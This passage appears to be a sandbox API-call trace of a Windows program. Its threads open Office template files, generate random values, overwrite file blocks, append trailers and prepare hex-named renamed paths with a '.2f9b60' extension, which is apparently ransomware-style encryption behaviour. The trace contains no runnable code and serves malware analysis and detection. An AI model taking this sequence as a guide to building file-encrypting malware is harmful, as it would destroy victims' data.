SetFilePointerEx (in: hFile=0x1bd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.360] WriteFile (in: hFile=0x1bd8, lpBuffer=0x1ceb8bc0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x379ff950, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8bc0*, lpNumberOfBytesWritten=0x379ff950*=0x15e, lpOverlapped=0x0) returned 1 [0209.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0209.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb360 [0209.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0209.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673e0) returned 1 [0209.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1ce5e170 [0209.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0209.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264410 [0209.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264410) returned 1 [0209.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb360) returned 1 [0209.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0209.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x4319f280 [0209.011] sprintf (in: _Dest=0x4319f280, _Format="%c%c" | out: _Dest="79") returned 2 [0209.011] sprintf (in: _Dest=0x4319f282, _Format="%c%c" | out: _Dest="3e") returned 2 [0209.011] sprintf (in: _Dest=0x4319f284, _Format="%c%c" | out: _Dest="59") returned 2 [0209.011] sprintf (in: _Dest=0x4319f286, _Format="%c%c" | out: _Dest="c1") returned 2 [0209.011] sprintf (in: _Dest=0x4319f288, _Format="%c%c" | out: _Dest="21") returned 2 [0209.011] sprintf (in: _Dest=0x4319f28a, _Format="%c%c" | out: _Dest="2b") returned 2 [0209.011] sprintf (in: _Dest=0x4319f28c, _Format="%c%c" | out: _Dest="22") returned 2 [0209.011] sprintf (in: _Dest=0x4319f28e, _Format="%c%c" | out: _Dest="71") returned 2 [0209.011] sprintf (in: _Dest=0x4319f290, _Format="%c%c" | out: _Dest="f2") returned 2 [0209.011] sprintf (in: _Dest=0x4319f292, _Format="%c%c" | out: _Dest="6e") returned 2 [0209.011] sprintf (in: _Dest=0x4319f294, _Format="%c%c" | out: _Dest="f9") returned 2 [0209.011] sprintf (in: _Dest=0x4319f296, _Format="%c%c" | out: _Dest="79") returned 2 [0209.011] sprintf (in: _Dest=0x4319f298, _Format="%c%c" | out: _Dest="dd") returned 2 [0209.011] sprintf (in: _Dest=0x4319f29a, _Format="%c%c" | out: _Dest="71") returned 2 [0209.011] sprintf (in: _Dest=0x4319f29c, _Format="%c%c" | out: _Dest="f4") returned 2 [0209.011] sprintf (in: _Dest=0x4319f29e, _Format="%c%c" | out: _Dest="bc") returned 2 [0209.011] sprintf (in: _Dest=0x4319f2a0, _Format="%c%c" | out: _Dest="26") returned 2 [0209.011] sprintf (in: _Dest=0x4319f2a2, _Format="%c%c" | out: _Dest="8b") returned 2 [0209.011] sprintf (in: _Dest=0x4319f2a4, _Format="%c%c" | out: _Dest="a3") returned 2 [0209.011] sprintf (in: _Dest=0x4319f2a6, _Format="%c%c" | out: _Dest="17") returned 2 [0209.011] sprintf (in: _Dest=0x4319f2a8, _Format="%c%c" | out: _Dest="03") returned 2 [0209.011] sprintf (in: _Dest=0x4319f2aa, _Format="%c%c" | out: _Dest="6b") returned 2 [0209.011] sprintf (in: _Dest=0x4319f2ac, _Format="%c%c" | out: _Dest="db") returned 2 [0209.011] sprintf (in: _Dest=0x4319f2ae, _Format="%c%c" | out: _Dest="a7") returned 2 [0209.011] sprintf (in: _Dest=0x4319f2b0, _Format="%c%c" | out: _Dest="58") returned 2 [0209.011] sprintf (in: _Dest=0x4319f2b2, _Format="%c%c" | out: _Dest="5c") returned 2 [0209.011] sprintf (in: _Dest=0x4319f2b4, _Format="%c%c" | out: _Dest="8c") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2b6, _Format="%c%c" | out: _Dest="41") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2b8, _Format="%c%c" | out: _Dest="42") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2ba, _Format="%c%c" | out: _Dest="e0") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2bc, _Format="%c%c" | out: _Dest="5c") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2be, _Format="%c%c" | out: _Dest="68") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2c0, _Format="%c%c" | out: _Dest="2a") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2c2, _Format="%c%c" | out: _Dest="47") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2c4, _Format="%c%c" | out: _Dest="93") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2c6, _Format="%c%c" | out: _Dest="ab") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2c8, _Format="%c%c" | out: _Dest="d0") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2ca, _Format="%c%c" | out: _Dest="4d") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2cc, _Format="%c%c" | out: _Dest="7d") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2ce, _Format="%c%c" | out: _Dest="29") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2d0, _Format="%c%c" | out: _Dest="20") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2d2, _Format="%c%c" | out: _Dest="58") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2d4, _Format="%c%c" | out: _Dest="e6") returned 2 [0209.012] sprintf (in: _Dest=0x4319f2d6, _Format="%c%c" | out: _Dest="4e") returned 2 [0209.012] RtlInitAnsiString (in: DestinationString=0x379ff9c8, SourceString="793e59c1212b2271f26ef979dd71f4bc268ba317036bdba7585c8c4142e05c682a4793abd04d7d292058e64e" | out: DestinationString="793e59c1212b2271f26ef979dd71f4bc268ba317036bdba7585c8c4142e05c682a4793abd04d7d292058e64e") [0209.012] RtlAnsiStringToUnicodeString (in: DestinationString=0x379ff998, SourceString="793e59c1212b2271f26ef979dd71f4bc268ba317036bdba7585c8c4142e05c682a4793abd04d7d292058e64e", AllocateDestinationString=1 | out: DestinationString="793e59c1212b2271f26ef979dd71f4bc268ba317036bdba7585c8c4142e05c682a4793abd04d7d292058e64e") returned 0x0 [0209.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43116d20 [0209.013] wcscat (in: _Dest=0x431eaeb0, _Source="793e59c1212b2271f26ef9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\793e59c1212b2271f26ef9") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\793e59c1212b2271f26ef9" [0209.013] wcscat (in: _Dest=0x431eaeb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\793e59c1212b2271f26ef9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\793e59c1212b2271f26ef9.2f9b60" [0209.013] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\793e59c1212b2271f26ef9.2f9b60", NtPathName=0x379ff970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\793e59c1212b2271f26ef9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0209.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x430fdaa0 Thread: id = 2103 os_tid = 0x82c [0138.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx")) returned 0x20 [0138.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx", dwFileAttributes=0x20) returned 1 [0138.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bd4 [0138.692] GetFileSizeEx (in: hFile=0x1bd4, lpFileSize=0x1f15fde0 | out: lpFileSize=0x1f15fde0*=1829944) returned 1 [0138.692] SetFilePointerEx (in: hFile=0x1bd4, liDistanceToMove=0x1bec34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.692] ReadFile (in: hFile=0x1bd4, lpBuffer=0x1f15fd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f15fda8, lpOverlapped=0x0 | out: lpBuffer=0x1f15fd60*, lpNumberOfBytesRead=0x1f15fda8*=0x4, lpOverlapped=0x0) returned 1 [0138.703] SetFilePointerEx (in: hFile=0x1bd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9550 [0138.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0138.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2f0 [0138.703] NtQuerySystemTime (in: CurrentTime=0x1f15fca0 | out: CurrentTime=0x1f15fca0*=132462177439486000) returned 0x0 [0138.703] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x4f9908bc [0138.703] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x2b6349e1 [0138.703] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0xeeabe34 [0138.703] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0xbe4950d [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x7124efe1 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x9c6c2ad [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x31a2216 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x1a6bbfbe [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x5feb0162 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x261138fa [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0xa1783ad [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x56289d53 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x603fed7a [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x4a7143c5 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x6d33431a [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x3fa2d684 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x5b724276 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x6d2e0966 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x685890a8 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x418c92bd [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x44894118 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x9cdb495 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x41fede54 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x274a275 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x3f3988ed [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x608af10a [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x4588c7c [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x584f0a71 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x10e37d9f [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0xed51b60 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x53cc9389 [0138.704] RtlRandomEx (in: Seed=0x1f15fc90 | out: Seed=0x1f15fc90) returned 0x50e89357 [0138.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2c0 [0138.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a380 [0138.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2f0) returned 1 [0138.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9550) returned 1 [0138.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4208d570 [0138.713] SetFilePointerEx (in: hFile=0x1bd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.713] ReadFile (in: hFile=0x1bd4, lpBuffer=0x4208d570, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f15fd00, lpOverlapped=0x0 | out: lpBuffer=0x4208d570*, lpNumberOfBytesRead=0x1f15fd00*=0x3c00, lpOverlapped=0x0) returned 1 [0138.735] SetFilePointerEx (in: hFile=0x1bd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9550 [0138.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9550) returned 1 [0138.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42094d90 [0138.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9550 [0138.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a6b0 [0138.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a6b0) returned 1 [0138.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.736] WriteFile (hFile=0x1bd4, lpBuffer=0x42094d90, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f15fd00, lpOverlapped=0x0) [0170.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42094d90) returned 1 [0170.856] SetFilePointerEx (in: hFile=0x1bd4, liDistanceToMove=0xe1000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.856] ReadFile (in: hFile=0x1bd4, lpBuffer=0x4208d570, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f15fd00, lpOverlapped=0x0 | out: lpBuffer=0x4208d570*, lpNumberOfBytesRead=0x1f15fd00*=0x3c00, lpOverlapped=0x0) returned 1 [0170.927] SetFilePointerEx (in: hFile=0x1bd4, liDistanceToMove=0xe1000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0170.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611f0) returned 1 [0170.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4211d570 [0170.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0170.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f40 [0170.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f40) returned 1 [0170.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.930] WriteFile (in: hFile=0x1bd4, lpBuffer=0x4211d570*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f15fd00, lpOverlapped=0x0 | out: lpBuffer=0x4211d570*, lpNumberOfBytesWritten=0x1f15fd00*=0x3c00, lpOverlapped=0x0) returned 1 [0194.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4211d570) returned 1 [0194.661] SetFilePointerEx (in: hFile=0x1bd4, liDistanceToMove=0x1bb038, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.661] ReadFile (in: hFile=0x1bd4, lpBuffer=0x4208d570, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f15fd00, lpOverlapped=0x0 | out: lpBuffer=0x4208d570*, lpNumberOfBytesRead=0x1f15fd00*=0x3c00, lpOverlapped=0x0) returned 1 [0194.901] SetFilePointerEx (in: hFile=0x1bd4, liDistanceToMove=0x1bb038, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c060 [0194.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0194.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f600 [0194.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f600) returned 1 [0194.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f93cc0 [0194.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f600 [0194.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f5d0 [0194.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f5d0) returned 1 [0194.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0194.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0194.905] WriteFile (in: hFile=0x1bd4, lpBuffer=0x41f93cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f15fd00, lpOverlapped=0x0 | out: lpBuffer=0x41f93cc0*, lpNumberOfBytesWritten=0x1f15fd00*=0x3c00, lpOverlapped=0x0) returned 1 [0210.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f93cc0) returned 1 [0210.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431a0080 [0210.583] SetFilePointerEx (in: hFile=0x1bd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0210.583] WriteFile (in: hFile=0x1bd4, lpBuffer=0x134aa0*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x1f15fdb0, lpOverlapped=0x0 | out: lpBuffer=0x134aa0*, lpNumberOfBytesWritten=0x1f15fdb0*=0x154, lpOverlapped=0x0) returned 1 [0215.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0215.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23d20 [0215.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdd50 [0215.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdd50) returned 1 [0215.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x204fdd50 [0215.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb70 [0215.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe290 [0215.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe290) returned 1 [0215.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23d20) returned 1 [0215.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0215.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce61650 [0215.261] sprintf (in: _Dest=0x1ce61650, _Format="%c%c" | out: _Dest="6c") returned 2 [0215.261] sprintf (in: _Dest=0x1ce61652, _Format="%c%c" | out: _Dest="33") returned 2 [0215.261] sprintf (in: _Dest=0x1ce61654, _Format="%c%c" | out: _Dest="c1") returned 2 [0215.261] sprintf (in: _Dest=0x1ce61656, _Format="%c%c" | out: _Dest="fb") returned 2 [0215.261] sprintf (in: _Dest=0x1ce61658, _Format="%c%c" | out: _Dest="42") returned 2 [0215.261] sprintf (in: _Dest=0x1ce6165a, _Format="%c%c" | out: _Dest="bb") returned 2 [0215.261] sprintf (in: _Dest=0x1ce6165c, _Format="%c%c" | out: _Dest="6f") returned 2 [0215.261] sprintf (in: _Dest=0x1ce6165e, _Format="%c%c" | out: _Dest="c6") returned 2 [0215.261] sprintf (in: _Dest=0x1ce61660, _Format="%c%c" | out: _Dest="ba") returned 2 [0215.261] sprintf (in: _Dest=0x1ce61662, _Format="%c%c" | out: _Dest="62") returned 2 [0215.261] sprintf (in: _Dest=0x1ce61664, _Format="%c%c" | out: _Dest="ed") returned 2 [0215.261] sprintf (in: _Dest=0x1ce61666, _Format="%c%c" | out: _Dest="a3") returned 2 [0215.261] sprintf (in: _Dest=0x1ce61668, _Format="%c%c" | out: _Dest="b6") returned 2 [0215.261] sprintf (in: _Dest=0x1ce6166a, _Format="%c%c" | out: _Dest="fd") returned 2 [0215.261] sprintf (in: _Dest=0x1ce6166c, _Format="%c%c" | out: _Dest="d8") returned 2 [0215.261] sprintf (in: _Dest=0x1ce6166e, _Format="%c%c" | out: _Dest="4b") returned 2 [0215.262] sprintf (in: _Dest=0x1ce61670, _Format="%c%c" | out: _Dest="45") returned 2 [0215.262] sprintf (in: _Dest=0x1ce61672, _Format="%c%c" | out: _Dest="fc") returned 2 [0215.262] sprintf (in: _Dest=0x1ce61674, _Format="%c%c" | out: _Dest="34") returned 2 [0215.262] sprintf (in: _Dest=0x1ce61676, _Format="%c%c" | out: _Dest="98") returned 2 [0215.262] sprintf (in: _Dest=0x1ce61678, _Format="%c%c" | out: _Dest="f0") returned 2 [0215.262] sprintf (in: _Dest=0x1ce6167a, _Format="%c%c" | out: _Dest="83") returned 2 [0215.262] sprintf (in: _Dest=0x1ce6167c, _Format="%c%c" | out: _Dest="6f") returned 2 [0215.262] sprintf (in: _Dest=0x1ce6167e, _Format="%c%c" | out: _Dest="22") returned 2 [0215.262] sprintf (in: _Dest=0x1ce61680, _Format="%c%c" | out: _Dest="56") returned 2 [0215.262] sprintf (in: _Dest=0x1ce61682, _Format="%c%c" | out: _Dest="0a") returned 2 [0215.262] sprintf (in: _Dest=0x1ce61684, _Format="%c%c" | out: _Dest="40") returned 2 [0215.262] sprintf (in: _Dest=0x1ce61686, _Format="%c%c" | out: _Dest="43") returned 2 [0215.262] sprintf (in: _Dest=0x1ce61688, _Format="%c%c" | out: _Dest="8a") returned 2 [0215.262] sprintf (in: _Dest=0x1ce6168a, _Format="%c%c" | out: _Dest="50") returned 2 [0215.262] sprintf (in: _Dest=0x1ce6168c, _Format="%c%c" | out: _Dest="51") returned 2 [0215.262] sprintf (in: _Dest=0x1ce6168e, _Format="%c%c" | out: _Dest="bd") returned 2 [0215.262] sprintf (in: _Dest=0x1ce61690, _Format="%c%c" | out: _Dest="d0") returned 2 [0215.262] sprintf (in: _Dest=0x1ce61692, _Format="%c%c" | out: _Dest="12") returned 2 [0215.262] RtlInitAnsiString (in: DestinationString=0x1f15fe28, SourceString="6c33c1fb42bb6fc6ba62eda3b6fdd84b45fc3498f0836f22560a40438a5051bdd012" | out: DestinationString="6c33c1fb42bb6fc6ba62eda3b6fdd84b45fc3498f0836f22560a40438a5051bdd012") [0215.263] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f15fdf8, SourceString="6c33c1fb42bb6fc6ba62eda3b6fdd84b45fc3498f0836f22560a40438a5051bdd012", AllocateDestinationString=1 | out: DestinationString="6c33c1fb42bb6fc6ba62eda3b6fdd84b45fc3498f0836f22560a40438a5051bdd012") returned 0x0 [0215.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x431880c0 [0215.263] wcscat (in: _Dest=0x43188020, _Source="6c33c1fb42bb6fc6b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c33c1fb42bb6fc6b") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c33c1fb42bb6fc6b" [0215.263] wcscat (in: _Dest=0x43188020, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c33c1fb42bb6fc6b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c33c1fb42bb6fc6b.2f9b60" [0215.263] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c33c1fb42bb6fc6b.2f9b60", NtPathName=0x1f15fdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c33c1fb42bb6fc6b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x4314b4a0 Thread: id = 2104 os_tid = 0x6a8 [0138.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityresume.dotx")) returned 0x20 [0138.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityResume.Dotx", dwFileAttributes=0x20) returned 1 [0138.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityresume.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dd0 [0138.697] GetFileSizeEx (in: hFile=0x1dd0, lpFileSize=0x37e9faa0 | out: lpFileSize=0x37e9faa0*=282708) returned 1 [0138.697] SetFilePointerEx (in: hFile=0x1dd0, liDistanceToMove=0x45050, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.697] ReadFile (in: hFile=0x1dd0, lpBuffer=0x37e9fa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x37e9fa68, lpOverlapped=0x0 | out: lpBuffer=0x37e9fa20*, lpNumberOfBytesRead=0x37e9fa68*=0x4, lpOverlapped=0x0) returned 1 [0138.716] SetFilePointerEx (in: hFile=0x1dd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 